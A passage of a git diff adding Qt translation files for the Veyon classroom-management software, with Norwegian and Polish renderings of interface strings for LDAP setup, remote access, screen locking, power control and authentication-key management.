error description: %1 + + + + No LDAP error description available + + + + + LdapConfigurationPage + + LDAP + LDAP + + + Basic settings + + + + General + Generelt + + + LDAP server and port + + + + Bind DN + + + + Bind password + + + + Anonymous bind + + + + Use bind credentials + + + + Test + Test + + + Base DN + + + + Fixed base DN + + + + e.g. dc=example,dc=org + + + + Discover base DN by naming context + + + + e.g. namingContexts or defaultNamingContext + + + + Environment settings + + + + Object trees + + + + Computer tree + + + + e.g. OU=Groups + + + + User tree + + + + e.g. OU=Users + + + + e.g. OU=Computers + + + + Group tree + + + + Perform recursive search operations in object trees + + + + Object attributes + + + + e.g. hwAddress + + + + Computer host name attribute + + + + e.g. member or memberUid + + + + User login attribute + + + + e.g. dNSHostName + + + + Computer MAC address attribute + + + + Group member attribute + + + + e.g. uid or sAMAccountName + + + + Host names stored as fully qualified domain names (FQDN, e.g. myhost.example.org) + + + + Advanced settings + + + + Optional object filters + + + + Filter for user groups + + + + Filter for users + + + + Filter for computer groups + + + + Group member identification + + + + Distinguished name (Samba/AD) + + + + Configured attribute for user login or computer host name (OpenLDAP) + + + + List all groups of a user + + + + List all groups of a computer + + + + Get computer object by IP address + + + + LDAP connection failed + + + + LDAP bind failed + + + + LDAP bind successful + + + + Successfully connected to the LDAP server and performed an LDAP bind. The basic LDAP settings are configured correctly. + + + + LDAP base DN test failed + + + + LDAP base DN test successful + + + + LDAP naming context test failed + + + + LDAP naming context test successful + + + + The LDAP naming context has been queried successfully. The following base DN was found: +%1 + + + + user tree + + + + group tree + + + + computer tree + + + + Enter username + + + + Please enter a user login name (wildcards allowed) which to query: + + + + user objects + + + + user login attribute + + + + Enter group name + + + + Please enter a group name whose members to query: + + + + group members + + + + group member attribute + + + + Group not found + + + + Could not find a group with the name "%1". Please check the group name or the group tree parameter. + + + + Enter computer name + + + + Please enter a computer host name to query: + + + + Invalid host name + + + + You configured computer host names to be stored as fully qualified domain names (FQDN) but entered a host name without domain. + + + + You configured computer host names to be stored as simple host names without a domain name but entered a host name with a domain name part. + + + + computer objects + + + + computer host name attribute + + + + Enter computer DN + + + + Please enter the DN of a computer whose MAC address to query: + + + + computer MAC addresses + + + + computer MAC address attribute + + + + users + Brukere + + + user groups + + + + computer groups + + + + Please enter a user login name whose group memberships to query: + + + + groups of user + + + + user login attribute or group membership attribute + + + + User not found + + + + Could not find a user with the name "%1". Please check the user name or the user tree parameter. + + + + Enter host name + + + + Please enter a computer host name whose group memberships to query: + + + + groups of computer + + + + computer host name attribute or group membership attribute + + + + Computer not found + + + + Could not find a computer with the host name "%1". Please check the host name or the computer tree parameter. + + + + Enter computer IP address + + + + Please enter a computer IP address which to resolve to an computer object: + + + + Host name lookup failed + + + + Could not lookup host name for IP address %1. Please check your DNS server settings. + + + + computers + datamaskiner + + + LDAP %1 test failed + + + + Could not query any entries in configured %1. Please check the %1 parameter. + +%2 + + + + LDAP %1 test successful + + + + The %1 has been queried successfully and %2 entries were found. + + + + Could not query any %1. Please check the %2 parameter or enter the name of an existing object. + +%3 + + + + %1 %2 have been queried successfully: + +%3 + + + + LDAP filter test failed + + + + Could not query any %1 using the configured filter. Please check the LDAP filter for %1. + +%2 + + + + LDAP filter test successful + + + + %1 %2 have been queried successfully using the configured filter. + + + + (only if different from group tree) + + + + Computer group tree + + + + computer group tree + + + + Filter for computers + + + + e.g. room or computerLab + + + + List all members of a computer room + + + + List all computer rooms + + + + Enter computer room name + + + + Please enter the name of a computer room (wildcards allowed): + + + + computer rooms + + + + computer room attribute + + + + Please enter the name of a computer room whose members to query: + + + + computer room members + + + + computer group filter or computer room member aggregation + + + + Computer rooms + + + + Integration tests + + + + Computer room attribute + + + + Aggregate computers in a room via: + + + + Computer groups + + + + Computer room attribute in computer objects + + + + Test not applicable + + + + Computer room name attribute + + + + e.g. name or description + + + + Filter for computer containers + + + + Computer containers or OUs + + + + Please change the computer room settings to use computer groups or computer containers as computer rooms. Then the specified attribute instead of the common name of computer groups or container objects will be queried. Otherwise you don't need to configure this attribute. + + + + Please change the computer room settings below to use computer containers as computer rooms. Otherwise you don't need to configure this filter. + + + + Connection security + + + + TLS certificate verification + + + + System defaults + + + + Never (insecure!) + + + + Custom CA certificate file + + + + None + + + + TLS + + + + SSL + + + + e.g. (objectClass=computer) + + + + e.g. (objectClass=group) + + + + e.g. (objectClass=person) + + + + e.g. (objectClass=room) or (objectClass=computerLab) + + + + e.g. (objectClass=container) or (objectClass=organizationalUnit) + + + + Could not query the configured base DN. Please check the base DN parameter. + +%1 + + + + The LDAP base DN has been queried successfully. The following entries were found: + +%1 + + + + Could not query the base DN via naming contexts. Please check the naming context attribute parameter. + +%1 + + + + Certificate files (*.pem) + + + + Could not connect to the LDAP server. Please check the server parameters. + +%1 + + + + Could not bind to the LDAP server. Please check the server parameters and bind credentials. + +%1 + + + + Encryption protocol + + + + + LdapPlugin + + Auto-configure the base DN via naming context + + + + Query objects from LDAP directory + + + + Show help about command + + + + Commands for configuring and testing LDAP/AD integration + + + + Provide LDAP/AD integration for Veyon + + + + LDAP (load computers and rooms from LDAP/AD) + + + + LDAP (load users and groups from LDAP/AD) + + + + + LicensingConfigurationPage + + Licensing + + + + Installed licenses + + + + Add new network range + + + + Remove selected network range + + + + ID + + + + Feature + + + + Valid until + + + + Licensee + + + + Browse license file + + + + Veyon license files (*.vlf) + + + + Remove license + + + + Do you really want to remove the selected license? + + + + <N/A> + + + + Invalid license file + + + + Could not open the license file for reading! + + + + The selected license file does not contain valid data. + + + + The selected license file could not be verified. + + + + The selected license file is not valid for this installation. + + + + The selected license file is expired. + + + + The license is already installed. + + + + + LicensingPlugin + + Show help for specific command + + + + Show all installed licenses + + + + Add license file + + + + Remove installed license + + + + +USAGE + +%1 add <LICENSE FILE> + + + + + + +USAGE + +%1 remove <LICENSE ID> + + + + + + No certificate found with given ID + + + + <N/A> + + + + Licensing management + + + + Commands for managing license keys + + + + + LinuxPlatformPlugin + + Plugin implementing abstract functions for the Linux platform + + + + + MainToolBar + + Configuration + + + + Disable balloon tooltips + + + + Show icons only + + + + + MainWindow + + MainWindow + + + + toolBar + + + + General + Generelt + + + &File + &Fil + + + &Help + &Hjelp + + + &Quit + &Avslutt + + + Ctrl+Q + Ctrl+Q + + + Ctrl+S + Ctrl+S + + + L&oad settings from file + + + + Ctrl+O + Ctrl+O + + + About Qt + + + + Authentication impossible + + + + Configuration not writable + + + + Load settings from file + + + + Save settings to file + + + + Unsaved settings + + + + There are unsaved settings. Quit anyway? + + + + Veyon Configurator + + + + Service + + + + Master + + + + Access control + + + + About Veyon + Om Veyon + + + Auto + Auto + + + Computer rooms + + + + About + Om + + + %1 Configurator %2 + + + + JSON files (*.json) + JSON filer (*.json) + + + The local configuration backend reported that the configuration is not writable! Please run the %1 Configurator with higher privileges. + + + + No authentication key files were found or your current ones are outdated. Please create new key files using the %1 Configurator. Alternatively set up logon authentication using the %1 Configurator. Otherwise you won't be able to access computers using %1. + + + + Access denied + + + + According to the local configuration you're not allowed to access computers in the network. Please log in with a different account or let your system administrator check the local configuration. + + + + Screenshots + Skjermbilder + + + Feature active + + + + The feature "%1" is still active. Please stop it before closing %2. + + + + Reset configuration + + + + Do you really want to reset the local configuration and revert all settings to their defaults? + + + + Search users and computers + + + + Adjust optimal size + + + + Align computers to grid + + + + Use custom computer placement + + + + %1 Configurator + + + + Insufficient privileges + + + + Could not start with administrative privileges. Please make sure a sudo-like program is installed for your desktop environment! The program will be run with normal user privileges. + + + + Only show powered on computers + + + + &Save settings to file + + + + &View + + + + &Standard + + + + &Advanced + + + + + MasterConfigurationPage + + Directories + + + + ... + ... + + + User configuration + + + + Feature on computer double click: + + + + Automatically switch to current room at start + + + + Features + + + + All features + + + + Disabled features + + + + Perform access control at program start + + + + Screenshots + Skjermbilder + + + <no feature> + + + + Automatically adjust computer thumbnail size at start + + + + Basic settings + + + + Behaviour + + + + Enforce selected mode for client computers + + + + Only show current room + + + + Allow adding rooms manually + + + + Hide local computer + + + + Hide empty rooms + + + + Hide computer filter field + + + + Actions such as rebooting or powering down computers + + + + Show confirmation dialog for potential dangerous actions + + + + User interface + + + + Background color + + + + Thumbnail update interval + + + + ms + ms + + + Program start + + + + Modes and features + + + + User and computer name + + + + Only user name + + + + Only computer name + + + + Computer thumbnail caption + + + + Computer rooms + + + + Automatically open computer rooms widget + + + + Text color + + + + Sort order + + + + Computer and user name + + + + + MonitoringMode + + Monitoring + + + + Builtin monitoring mode + + + + This is the default mode and allows you to monitor all computers in one or more rooms. + + + + + NetworkDiscoveryConfigurationPage + + Network discovery + + + + Mode + + + + Scan network ranges + + + + e.g. 192.168.1.0/24 + + + + Scan all subnets of computer + + + + Scan custom subnet + + + + Scan sessions on local computer + + + + Test + Test + + + Network ranges + + + + Add new group + + + + Remove selected group + + + + Groups + + + + First address + + + + Last address + + + + Add new network range + + + + Remove selected network range + + + + Parallel scans + + + + Scan timeout + + + + ms + ms + + + Session scan limit + + + + New group + + + + Options + + + + Reverse lookup discovered IP addresses to host names + + + + + NetworkDiscoveryDirectory + + Scanning... + + + + Discovered computers + + + + + NetworkDiscoveryPlugin + + Show help for specific command + + + + Scan a subnet + + + + +USAGE + +%1 scan [<SUBNET>] + + + + + + Network object directory which automatically discovers computers in the network + + + + Network discovery (scan network for Veyon clients) + + + + Commands for managing the network discovery directory + + + + + NetworkObjectTreeModel + + Room/Computer + + + + + PasswordDialog + + Username + + + + Password + + + + Veyon Logon + + + + Authentication error + + + + Logon failed with given username and password. Please try again! + + + + Please enter your username and password in order to access computers. + + + + + PowerControlFeaturePlugin + + Power on + + + + Click this button to power on all computers. This way you do not have to power on each computer by hand. + + + + Reboot + + + + Click this button to reboot all computers. + + + + Power down + + + + Click this button to power down all computers. This way you do not have to power down each computer by hand. + + + + Power on/down or reboot a computer + + + + Confirm reboot + + + + Confirm power down + + + + Do you really want to reboot the selected computers? + + + + Do you really want to power down the selected computer? + + + + Power on a computer via Wake-on-LAN (WOL) + + + + MAC ADDRESS + + + + This command broadcasts a Wake-on-LAN (WOL) packet to the network in order to power on the computer with the given MAC address. + + + + Please specify the command to display help for! + + + + Invalid MAC address specified! + + + + Commands for controlling power status of computers + + + + + RemoteAccessFeaturePlugin + + Remote view + + + + Open a remote view for a computer without interaction. + + + + Remote control + + + + Open a remote control window for a computer. + + + + Remote access + + + + Remote view or control a computer + + + + Please enter the hostname or IP address of the computer to access: + + + + Show help about command + + + + + RemoteAccessWidget + + %1 - %2 Remote Access + + + + + RemoteAccessWidgetToolBar + + View only + + + + Remote control + + + + Send shortcut + + + + Fullscreen + + + + Window + + + + Quit + Avslutt + + + Ctrl+Alt+Del + + + + Ctrl+Esc + + + + Alt+Tab + + + + Alt+F4 + + + + Win+Tab + + + + Win + + + + Menu + + + + Alt+Ctrl+F1 + + + + Connecting %1 + + + + Connected. + + + + Screenshot + + + + + RoomSelectionDialog + + Room selection + + + + enter search filter... + + + + + Routing + + Control internet access by modifying routing table + + + + + RoutingConfigurationWidget + + Remove default routes to block internet access + + + + Add custom route to block internet + + + + Destination + + + + Gateway + + + + + RunProgramDialog + + Please enter the programs or commands to run on the selected computer(s). You can separate multiple programs/commands by line. + + + + Run programs + + + + e.g. "C:\Program Files\VideoLAN\VLC\vlc.exe" + + + + + ScreenLockFeaturePlugin + + Lock + + + + Unlock + + + + Lock screen and input devices of a computer + + + + To reclaim all user's full attention you can lock their computers using this button. In this mode all input devices are locked and the screens are blacked. + + + + + Screenshot + + unknown + + + + Could not take a screenshot as directory %1 doesn't exist and couldn't be created. + + + + Screenshot + + + + + ScreenshotFeaturePlugin + + Screenshot + + + + Use this function to take a screenshot of selected computers. + + + + Screenshots taken + + + + Screenshot of %1 computer have been taken successfully. + + + + Take screenshots of computers and save them locally. + + + + + ScreenshotManagementView + + User: + + + + Date: + + + + Time: + + + + Show + + + + Delete + + + + All screenshots taken by you are listed here. You can take screenshots by clicking the "Screenshot" item in the context menu of a computer. The screenshots can be managed using the buttons below. + + + + Computer: + + + + + ServiceConfigurationPage + + General + Generelt + + + Autostart + + + + Hide tray icon + + + + Start service + + + + Stopped + + + + Stop service + + + + State: + + + + Enable SAS generation by software (Ctrl+Alt+Del) + + + + Network + + + + Demo server port + + + + Enable firewall exception + + + + Allow connections from localhost only + + + + Internal VNC server port + + + + VNC server + + + + Plugin: + + + + Restart %1 Service + + + + All settings were saved successfully. In order to take effect the %1 service needs to be restarted. Restart it now? + + + + Running + + + + Feature manager port + + + + Primary service port + + + + Enabling this option will make the service launch a server process for every interactive session on a computer. +Typically this is required to support terminal servers. + + + + Multi session support (experimental) + + + + Show notification on remote connection + + + + Show notification on failed authentication attempts + + + + + ServiceControl + + Starting service %1 + + + + Stopping service %1 + + + + Registering service %1 + + + + Unregistering service %1 + + + + Service control + + + + + ServiceControlPlugin + + Service is running + + + + Service is not running + + + + Configure and control Veyon service + + + + Register Veyon Service + + + + Unregister Veyon Service + + + + Start Veyon Service + + + + Stop Veyon Service + + + + Restart Veyon Service + + + + Query status of Veyon Service + + + + Commands for configuring and controlling Veyon Service + + + + + ShellCommandLinePlugin + + Run command file + + + + File "%1" does not exist! + + + + Interactive shell and script execution for Veyon Control + + + + Commands for shell functionalities + + + + + SystemTrayIcon + + System tray icon + + + + + SystemUserGroupsPlugin + + User groups backend for system user groups + + + + Default (system user groups) + + + + + TextMessageDialog + + Send text message + + + + Use the field below to type your message which will be sent to all selected users. + + + + + TextMessageFeaturePlugin + + Text message + + + + Use this function to send a text message to all users e.g. to assign them new tasks. + + + + Message from teacher + + + + Send a message to a user + + + + + UltraVncConfigurationWidget + + Enable capturing of layered (semi-transparent) windows + + + + Poll full screen (leave this enabled per default) + + + + Low accuracy (turbo mode) + + + + Builtin UltraVNC server configuration + + + + Enable multi monitor support + + + + Enable Desktop Duplication Engine on Windows 8 and newer + + + + + UserConfig + + No write access + + + + Could not save your personal settings! Please check the user configuration file path using the %1 Configurator. + + + + + UserSessionControl + + User session control + + + + Click this button to logout users from all computers. + + + + Confirm user logout + + + + Do you really want to logout the selected users? + + + + Logout + + + + + VeyonCore + + [OK] + + + + [FAIL] + + + + Invalid command! + + + + Available commands: + + + + Invalid arguments given + + + + Not enough arguments given - use "%1 help" for more information + + + + Unknown result! + + + + Available modules: + + + + No module specified or module not found - available modules are: + + + + Plugin not licensed + + + + INFO + + + + ERROR + + + + licensed for + + + + + VeyonServiceControl + + Veyon Service + + + + + VncView + + Establishing connection to %1 ... + + + + + WindowsPlatformPlugin + + Plugin implementing abstract functions for the Windows platform + + + + + WindowsServiceControl + + WindowsServiceControl: the service "%1" is already installed. + + + + WindowsServiceControl: the service "%1" could not be installed. + + + + WindowsServiceControl: the service "%1" has been installed successfully. + + + + WindowsServiceControl: the service "%1" could not be uninstalled. + + + + WindowsServiceControl: the service "%1" has been uninstalled successfully. + + + + WindowsServiceControl: the start type of service "%1" could not be changed. + + + + WindowsServiceControl: service "%1" could not be found. + + + + + X11VncConfigurationWidget + + Builtin x11vnc server configuration + + + + Custom x11vnc parameters: + + + + Do not use X Damage extension + + + + \ No newline at end of file diff --git a/translations/pl_PL.ts b/translations/pl_PL.ts new file mode 100644 index 0000000..e840831 --- /dev/null +++ b/translations/pl_PL.ts @@ -0,0 +1,3817 @@ + + + AboutDialog + + About + O programie + + + Translation + Tłumaczenie + + + License + Licencja + + + About Veyon + O programie Veyon + + + Contributors + Współpraca + + + Version: + Wersja: + + + Website: + Strona WWW: + + + Current language not translated yet (or native English). + +If you're interested in translating Veyon into your local or another language or want to improve an existing translation, please contact a Veyon developer! + Bieżący język nie jest jeszcze do końca przetłumaczony. + +Jeżeli chcesz pomóc w tłumaczeniu programu lub chcesz poprawić istniejące tłumaczenie, skontaktuj się z twórcami Veyon. + + + About %1 %2 + + + + Support Veyon project with a donation + Wesprzyj projekt Veyon za pomocą dotacji + + + + AccessControlPage + + Computer access control + + + + Grant access to every authenticated user (default) + Zezwól na dostęp wszystkim uwierzytelnionym użytkownikom (domyślne) + + + Test + Test + + + Restrict access to members of certain user groups + + + + Process access control rules + + + + User groups authorized for computer access + + + + Please add the groups whose members should be authorized to access computers in your Veyon network. + + + + Authorized user groups + Zautoryzowane grupy użytkowników + + + All groups + Wszystkie grupy + + + ... + ... + + + Access control rules + Reguły dostępu + + + Add access control rule + Dodaj regułę dostępu + + + Remove access control rule + Usuń regułę dostępu + + + Move selected rule down + Przesuń regułę niżej + + + Move selected rule up + Przesuń regułę wyżej + + + Edit selected rule + Edytuj wybraną regułę + + + Enter username + Wprowadź nazwę użytkownika + + + Please enter a user login name whose access permissions to test: + + + + Access allowed + Dostęp zabroniony + + + The specified user is allowed to access computers with this configuration. + + + + Access denied + Odmowa dostępu + + + The specified user is not allowed to access computers with this configuration. + + + + Enable usage of domain groups + Włącz użycie grup domenowych + + + User groups backend: + + + + Missing user groups backend + + + + No default user groups plugin was found. Please check your installation! + + + + + AccessControlRuleEditDialog + + Edit access control rule + Edytuj reguły kontroli dostępu + + + General + Ogólne + + + enter a short name for the rule here + Wprowadź tutaj skróconą nazwę reguły. + + + Rule name: + Nazwa reguły: + + + enter a description for the rule here + tutaj wprowadź opis reguły + + + Rule description: + Opis reguły: + + + Invert all conditions ("is/has" interpreted as "is/has not") + + + + Conditions + Warunki + + + is member of group + jest członkiem grupy + + + is located in room + znajduje się w sali + + + Accessing computer is localhost + + + + Accessing user is logged on user + + + + Accessing user is already connected + + + + If more than one condition is activated each condition has to meet in order to make the rule apply (logical AND). If only one of multiple conditions has to meet (logical OR) please create multiple access control rules. + + + + Action + Akcja + + + Allow access + Zezwól na dostęp. + + + Deny access + Odmów dostępu. + + + Ask logged on user for permission + Poproś zalogowanego użytkownika o dostęp + + + None (rule disabled) + Brak (reguła nieaktywna) + + + Accessing user + + + + Accessing computer + + + + Local (logged on) user + Użytkownik lokalny (zalogowany) + + + Local computer + Komputer lokalny + + + Always process rule and ignore conditions + Zawsze stosuj regułę i ignoruj warunki + + + No user logged on + Brak zalogowanych użytkowników. + + + Accessing computer is located in the same room as local computer + Komputer który chce uzyskać dostęp jest w tym samym pokoju co komputer lokalny + + + Accessing user has one or more groups in common with local (logged on) user + + + + + AccessControlRulesTestDialog + + Access control rules test + Test reguł kontroli dostępu + + + Accessing user: + + + + Local computer: + Komputer lokalny: + + + Accessing computer: + + + + Please enter the following user and computer information in order to test the configured ruleset. + + + + Local user: + Użytkownik lokalny: + + + Connected users: + Połączeni użytkownicy: + + + The access in the given scenario is allowed. + + + + The access in the given scenario is denied. + + + + The access in the given scenario needs permission of the logged on user. + + + + ERROR: Unknown action + Błąd: nieznana akcja. + + + Test result + Wynik testu + + + + AuthKeysConfigurationPage + + Authentication keys + Klucze uwierzytelniające + + + Introduction + + + + Key file directories + Lokalizacja plików kluczy + + + Public key file base directory + Katalog z plikami kluczy publicznych + + + Private key file base directory + Katalog z plikami kluczy prywatnych + + + ... + ... + + + Available authentication keys + Dostępne klucze uwierzytelniające + + + Create key pair + Stwórz parę kluczy + + + Delete key + Usuń klucz + + + Import key + Importuj klucz + + + Export key + Eksportuj klucz + + + Set access group + + + + Key files (*.pem) + Pliki kluczy (*.pem) + + + Authentication key name + Nazwa klucza uwierzytelniającego + + + Please enter the name of the user group or role for which to create an authentication key pair: + + + + Do you really want to delete authentication key "%1/%2"? + Czy na pewno chcesz usunąć klucz uwierzytelniający "%1/%2"? + + + Please select a key to delete! + Wybierz klucz do usunięcia! + + + Please enter the name of the user group or role for which to import the authentication key: + + + + Please select a key to export! + Wybierz klucz do wyeksportowania! + + + Please select a user group which to grant access to key "%1": + Wybierz grupę użytkowników której chcesz przydzielić dostęp do klucza %1. + + + Please select a key which to set the access group for! + Wybierz klucz do którego chcesz przydzielić dostęp dla grupy! + + + Please perform the following steps to set up key file authentication: + Wykonaj poniższe kroki w celu ustawienia pliku klucza uwierzytelniającego: + + + 1) Create a key pair on the master computer. + )1 Stwórz parę kluczy uwierzytelniających na głównym komputerze. + + + 2) Set an access group whose members should be allowed to access other computers. + 2) Utwórz grupę użytkowników którzy mają mieć dostęp do innych komputerów. + + + 3) Export the public key and import it on all client computers with the same name. + 3) Wyeksportuj klucz publiczny i zaimportuj go na wszystkich komputerach klienckich z taką samą nazwą. + + + Please refer to the <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon Administrator Manual</a> for more information. + + + + An authentication key pair consist of two coupled cryptographic keys, a private and a public key. +A private key allows users on the master computer to access client computers. +It is important that only authorized users have read access to the private key file. +The public key is used on client computers to authenticate incoming connection request. + + + + + AuthKeysManager + + Please check your permissions. + Sprawdź swoje uprawnienia. + + + Key name contains invalid characters! + Nazwa klucza zawiera niedozwolone znaki! + + + Invalid key type specified! Please specify "%1" or "%2". + + + + Specified key does not exist! Please use the "list" command to list all installed keys. + Wybrany klucz nie istnieje! Użyj komendy "list" aby wyświetlić wszystkie zainstalowane klucze. + + + One or more key files already exist! Please delete them using the "delete" command. + + + + Creating new key pair for "%1" + + + + Failed to create public or private key! + Błąd podczas tworzenia klucza! + + + Newly created key pair has been saved to "%1" and "%2". + + + + Could not remove key file "%1"! + + + + Could not remove key file directory "%1"! + + + + Failed to create directory for output file. + + + + File "%1" already exists. + + + + Failed to write output file. + + + + Key "%1/%2" has been exported to "%3" successfully. + + + + Failed read input file. + Nie można odczytać pliku wejściowego. + + + File "%1" does not contain a valid private key! + + + + File "%1" does not contain a valid public key! + + + + Failed to create directory for key file. + Nie można utworzyć folderu dla pliku klucza. + + + Failed to write key file "%1". + Nie można zapisać pliku klucza %1. + + + Failed to set permissions for key file "%1"! + Wystąpił błąd podczas ustawiania uprawnień dla pliku klucza %1! + + + Key "%1/%2" has been imported successfully. Please check file permissions of "%3" in order to prevent unauthorized accesses. + Klucz %1/%2 został zaimportowany poprawnie. Sprawdź uprawnienia pliku %3 w celu uniknięcia niepowołanego dostępu. + + + Failed to convert private key to public key + Błąd podczas konwertowania klucza prywatnego do klucza publicznego + + + Failed to create directory for private key file "%1". + Nie można stworzyć folderu dla pliku klucza prywatnego "%1". + + + Failed to save private key in file "%1"! + Błąd podczas zapisywania klucza prywatnego w pliku "%1"! + + + Failed to set permissions for private key file "%1"! + Nie można ustawić uprawnień dla pliku klucza prywatnego "%1"! + + + Failed to create directory for public key file "%1". + Nie można stworzyć folderu dla pliku klucza publicznego "%1". + + + Failed to save public key in file "%1"! + Błąd podczas zapisywania klucza publicznego w pliku "%1"! + + + Failed to set permissions for public key file "%1"! + Nie można ustawić uprawnień dla pliku klucza publicznego "%1"! + + + Failed to set owner of key file "%1" to "%2". + + + + Failed to set permissions for key file "%1". + Nie można ustawić uprawnień dla pliku klucza "%1". + + + Key "%1" is now accessible by user group "%2". + Klucz "%1" jest teraz dostępny dla grupy użytkowników "%2". + + + <N/A> + Brak danych + + + Failed to read key file. + Nie można odczytać pliku klucza. + + + + AuthKeysPlugin + + Create new authentication key pair + Stwórz nową parę kluczy uwierzytelniających + + + Delete authentication key + Usuń klucz uwierzytelniający + + + List authentication keys + Lista kluczy uwierzytelniających + + + Import public or private key + Importuj klucz publiczny/prywatny + + + Export public or private key + Eksportuj klucz publiczny/prywatny + + + Extract public key from existing private key + Utwórz klucz publiczny z istniejącego klucza prywatnego + + + Set user group allowed to access a key + Wskaż grupę użytkowników która może uzyskać dostęp do klucza + + + KEY + KLUCZ + + + ACCESS GROUP + + + + This command adjusts file access permissions to <KEY> such that only the user group <ACCESS GROUP> has read access to it. + + + + NAME + + + + This command creates a new authentication key pair with name <NAME> and saves private and public key to the configured key directories. + Ta komenda tworzy nową parę kluczy uwierzytelniających o nazwie %1 oraz zapisuje klucz publiczny i prywatny do folderu z kluczami. + + + This command deletes the authentication key <KEY> from the configured key directory. Please note that a key can't be recovered once deleted. + + + + FILE + PLIK + + + This command exports the authentication key <KEY> to <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command imports the authentication key <KEY> from <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command lists all available authentication keys in the configured key directory. If the option "%1" is specified a table with key details will be displayed instead. Some details might be missing if a key is not accessible e.g. due to the lack of read permissions. + + + + This command extracts the public key part from the private key <KEY> and saves it as the corresponding public key. + + + + Please specify the command to display help for! + + + + TYPE + TYP + + + PAIR ID + + + + Command line support for managing authentication keys + + + + Commands for managing authentication keys + Komendy do zarządzania kluczami uwierzytelniającymi + + + + AuthKeysTableModel + + Name + Nazwa + + + Type + Typ + + + Access group + + + + Pair ID + + + + + BuiltinDirectoryConfigurationPage + + Rooms & computers + Sale i komputery + + + Rooms + Sale + + + Computers + Komputery + + + Name + Nazwa + + + Host address/IP + adres hosta/IP + + + MAC address + Adres MAC + + + Add new room + Dodaj nową salę + + + Remove selected room + Usuń wybraną salę + + + Add new computer + Dodaj nowy komputer + + + Remove selected computer + Usuń wybrany komputer + + + New room + Nowa sala + + + New computer + Nowy komputer + + + Builtin directory + + + + + BuiltinDirectoryPlugin + + Show help for specific command + Pokaż pomoc dla wskazanej komendy + + + Add a room or computer + Dodaj salę lub komputer + + + Clear all rooms and computers + Usuń wszystkie sale i komputery + + + Dump all or individual rooms and computers + Usuń wszystkie lub pojedyncze sale lub komputery + + + List all rooms and computers + Wyświetl wszystkie sale i komputery + + + Remove a room or computer + Usuń salę lub komputer + + + Import objects from given file + Importuj obiekty ze wskazanego pliku + + + Export objects to given file + Eksportuj obiekty do wskazanego pliku + + + Invalid type specified. Valid values are "%1" or "%2". + + + + Type + Typ + + + Name + Nazwa + + + Host address + Adres hosta + + + MAC address + Adres MAC + + + Specified object not found. + Nie znaleziono wybranego obiektu. + + + File "%1" does not exist! + Plik "%1" nie istnieje! + + + Can't open file "%1" for reading! + Nie można odczytać pliku "%1"! + + + Unknown argument "%1". + Nieprawidłowy argument "%1". + + + Room "%1" + Sala "%1" + + + Computer "%1" (host address: "%2" MAC address: "%3") + Komputer %1 (adres hosta: %2 adres MAC: %3) + + + Unclassified object "%1" with ID "%2" + + + + None + Brak + + + Room + Sala + + + Computer + Komputer + + + Root + Administrator + + + Invalid + Nieprawidłowy + + + Error while parsing line %1. + + + + Network object directory which stores objects in local configuration + + + + Builtin (computers and rooms in local configuration) + + + + Commands for managing the builtin network object directory + + + + No format string or regular expression specified! + + + + Can't open file "%1" for writing! + Nie można otworzyć pliku "%1" w celu zapisu! + + + No format string specified! + + + + +USAGE + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Export all objects to a CSV file: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Export all computers in a room to a CSV file: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + + + + +USAGE + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Adds an object where TYPE can be one of "%2" or "%3". PARENT can be specified by name or UUID. + +Examples: + +* Add a room: + + %1 add room "Room 01" + +* Add a computer to room "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + + + + +USAGE + +%1 remove <OBJECT> + +Removes the specified object from the directory. OBJECT can be specified by name or UUID. Removing a room will also remove all computers inside. + +Examples: + +* Remove a computer by name: + + %1 remove "Computer 01" + +* Remove an object by UUID: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + + + + Object UUID + + + + Parent UUID + + + + +USAGE + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Import simple CSV file to a single room: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* Import CSV file with room name in first column: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Import text file with with key/value pairs using regular expressions: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Import arbitrarily formatted data: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + + + + + BuiltinUltraVncServer + + Builtin VNC server (UltraVNC) + Wbudowany serwer VNC (UltraVNC) + + + + BuiltinX11VncServer + + Builtin VNC server (x11vnc) + Wbudowany serwer VNC (x11vnc) + + + + ComputerControlListModel + + Room: %1 + Sala: "%1" + + + Host/IP address: %1 + Host/adres IP: %1 + + + Active features: %1 + Aktywne funkcje: %1 + + + Online and connected + Online i połączony + + + Establishing connection + Nawiązywanie połączenia + + + Computer offline or switched off + Komputer nie połączony z siecią lub wyłączony + + + Service unreachable or not running + Usługa jest niedostępna lub nie uruchomiona + + + Authentication failed or access denied + Uwierzytelnienie nie powiodło się lub dostęp jest zabroniony + + + Disconnected + Rozłączono + + + No user logged on + Brak zalogowanych użytkowników. + + + Logged on user: %1 + Zalogowano użytkownika: %1 + + + + ComputerControlServer + + %1 Service %2 at %3:%4 + + + + Authentication error + Błąd uwierzytelnienia + + + Remote access + Zdalny dostęp + + + User "%1" at host "%2" is now accessing this computer. + + + + User "%1" at host "%2" attempted to access this computer but could not authenticate successfully! + + + + + ComputerManagementView + + Computer management + Zarządzanie komputerem + + + Add room + Dodaj salę + + + Save computer/user list + Zapisz listę komputerów/użytkowników + + + Select output filename + Wybierz nazwę pliku wyjściowego + + + CSV files (*.csv) + pliki CSV (*csv) + + + File error + Błąd pliku + + + Could not write the computer and users list to %1! Please check the file access permissions. + Nie można zapisać listy komputerów i użytkowników w %1! Sprawdź prawa dostępu do pliku + + + Computer search + Znajdź komputer + + + + ComputerManager + + User + Użytkownik + + + Missing network object directory plugin + + + + No default network object directory plugin was found. Please check your installation or configure a different network object directory backend via %1 Configurator. + + + + Computer name;Host name;User 